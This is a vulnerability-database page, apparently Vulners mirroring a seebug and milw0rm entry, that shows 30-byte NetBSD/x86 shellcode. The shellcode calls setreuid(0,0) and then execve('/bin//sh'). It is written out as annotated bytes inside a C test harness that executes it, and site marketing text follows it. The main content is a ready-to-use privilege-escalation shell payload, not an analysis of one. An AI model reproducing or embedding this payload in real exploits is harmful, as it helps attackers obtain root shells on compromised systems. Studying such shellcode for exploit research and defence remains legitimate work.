Lucene search
K

netbsd/x86 setreuid(0, 0); execve("/bin//sh", ..., NULL); 30 bytes

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

NetBSD exploit using setreuid and execve for shell execution in x86 systems.

Code

                                                /*
 *  minervini at neuralnoise dot com (c) 2005
 *  NetBSD/i386 2.0, setreuid(0, 0); execve("/bin//sh", ..., NULL);
 */

#include <sys/types.h>
#include <stdio.h>
#include <string.h>

char scode[] =
  "\x31\xc0"             // xor    %eax,%eax
  "\x50"                 // push   %eax
  "\x50"                 // push   %eax
  "\x50"                 // push   %eax
  "\x34\x7e"             // xor    $0x7e,%al
  "\xcd\x80"             // int    $0x80
  "\x58"                 // pop    %eax
  "\x68\x2f\x2f\x73\x68" // push   $0x68732f2f
  "\x68\x2f\x62\x69\x6e" // push   $0x6e69622f
  "\x89\xe3"             // mov    %esp,%ebx
  "\x50"                 // push   %eax
  "\x54"                 // push   %esp
  "\x53"                 // push   %ebx
  "\x50"                 // push   %eax
  "\x34\x3b"             // xor    $0x3b,%al
  "\xcd\x80";            // int    $0x80

int main() {
   void (*code) () = (void *) scode;
   printf("length: %d\n", strlen(scode));
   code();
   return (0);
}

// milw0rm.com [2005-11-30]
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11